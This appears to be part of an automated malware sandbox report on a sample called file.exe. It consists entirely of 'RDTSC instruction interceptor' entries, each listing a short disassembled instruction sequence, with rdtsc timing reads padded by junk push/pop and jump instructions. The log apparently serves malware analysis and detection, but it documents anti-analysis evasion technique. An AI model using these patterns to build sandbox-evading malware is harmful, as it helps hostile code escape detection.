Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395536 second address: 139553C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139553C second address: 1395572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9D9C813266h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9D9C813273h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9D9C81326Dh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395572 second address: 1395576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395576 second address: 1395583 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395583 second address: 1395588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395815 second address: 1395835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9D9C813277h 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399122 second address: 1399127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13993E5 second address: 13993E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399545 second address: 139954B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139954B second address: 139955E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9D9C81326Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139955E second address: 1399562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399562 second address: 139957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813275h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139957D second address: 1399587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9D9CDEFDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13996BC second address: 13996C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13996C2 second address: 13996C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13996C6 second address: 13996CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13996CC second address: 13996E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F9D9CDEFDD2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A288A second address: 13A288E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A288E second address: 13A2892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2892 second address: 13A2898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2898 second address: 13A28A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A28A1 second address: 13A28A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A28A6 second address: 13A28B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F9D9CDEFDC6h 0x00000009 jc 00007F9D9CDEFDC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A28B7 second address: 13A28D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C81326Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3134 second address: 13A313C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A313C second address: 13A3140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3140 second address: 13A3144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A39AC second address: 13A39B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E4A second address: 13A8E69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9D9CDEFDCAh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E69 second address: 13A8E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813279h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E86 second address: 13A8E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E8A second address: 13A8E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E94 second address: 13A8E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E98 second address: 13A8E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8E9E second address: 13A8EC7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D9CDEFDD2h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9D9CDEFDD1h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC174 second address: 13AC17A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC17A second address: 13AC180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC180 second address: 13AC1AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9D9C813270h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F9D9C813273h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC1AD second address: 13AC1C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDCFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC1C0 second address: 13AC1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC759 second address: 13AC76E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9D9CDEFDCAh 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d jns 00007F9D9CDEFDC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC9E2 second address: 13AC9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC9E8 second address: 13AC9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9D9CDEFDC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC9F3 second address: 13ACA05 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813268h 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F9D9C81326Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B4CF1 second address: 13B4CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B4EB7 second address: 13B4EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B4EBB second address: 13B4EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9D9CDEFDC6h 0x00000009 jmp 00007F9D9CDEFDCBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9D9CDEFDCCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B4EE1 second address: 13B4F22 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9D9C813266h 0x00000008 jmp 00007F9D9C81326Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F9D9C81326Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F9D9C813279h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B4F22 second address: 13B4F2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5736 second address: 13B574D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D9C813273h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B574D second address: 13B5751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6585 second address: 13B658C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B658C second address: 13B65D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9CDEFDCBh 0x00000009 jmp 00007F9D9CDEFDCCh 0x0000000e jmp 00007F9D9CDEFDD6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F9D9CDEFDD8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8C91 second address: 13B8C9B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9D9C813266h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAAD second address: 13BDAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAB1 second address: 13BDAB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAB5 second address: 13BDAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F9D9CDEFDD1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAD3 second address: 13BDAD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAD7 second address: 13BDAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnl 00007F9D9CDEFDC6h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD689 second address: 13BD68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD68D second address: 13BD6B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F9D9CDEFDC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9D9CDEFDD7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD6B4 second address: 13BD6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD7F7 second address: 13BD803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F9D9CDEFDC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF48C second address: 12FF492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF492 second address: 12FF4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F9D9CDEFDD0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CDACF second address: 13CDAD9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9D9C813266h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CDAD9 second address: 13CDAFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F9D9CDEFDD7h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D206D second address: 13D2076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2076 second address: 13D207C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D207C second address: 13D2080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D69B4 second address: 13D69B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D69B9 second address: 13D69BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E651B second address: 13E6528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007F9D9CDEFDCCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6528 second address: 13E654D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F9D9C81326Ch 0x0000000f popad 0x00000010 js 00007F9D9C81326Eh 0x00000016 jg 00007F9D9C813266h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E654D second address: 13E6554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6554 second address: 13E6565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F9D9C81326Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E66D1 second address: 13E66DF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E66DF second address: 13E66FB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813266h 0x00000008 jmp 00007F9D9C81326Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6863 second address: 13E6887 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F9D9CDEFDDAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7651 second address: 13E7655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7655 second address: 13E7673 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9D9CDEFDD5h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ED321 second address: 13ED327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ED327 second address: 13ED32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ED32B second address: 13ED32F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ED32F second address: 13ED335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF3DF second address: 13EF3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9D9C813266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF3EB second address: 13EF3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EEFE7 second address: 13EEFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EEFED second address: 13EF017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F9D9CDEFDCCh 0x00000011 pop eax 0x00000012 popad 0x00000013 jo 00007F9D9CDEFDECh 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F9D9CDEFDC6h 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF017 second address: 13EF01B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC4CA second address: 13FC4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F9D9CDEFDD3h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC4EC second address: 13FC502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F9D9C81326Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDD7C second address: 13FDD81 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CE2D second address: 140CE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F9D9C81326Bh 0x0000000d jg 00007F9D9C813266h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CC6E second address: 140CC72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CC72 second address: 140CC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA95 second address: 140FA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA9B second address: 140FAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9D9C813266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FAA7 second address: 140FAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FAAF second address: 140FAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F790 second address: 140F794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F794 second address: 140F79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
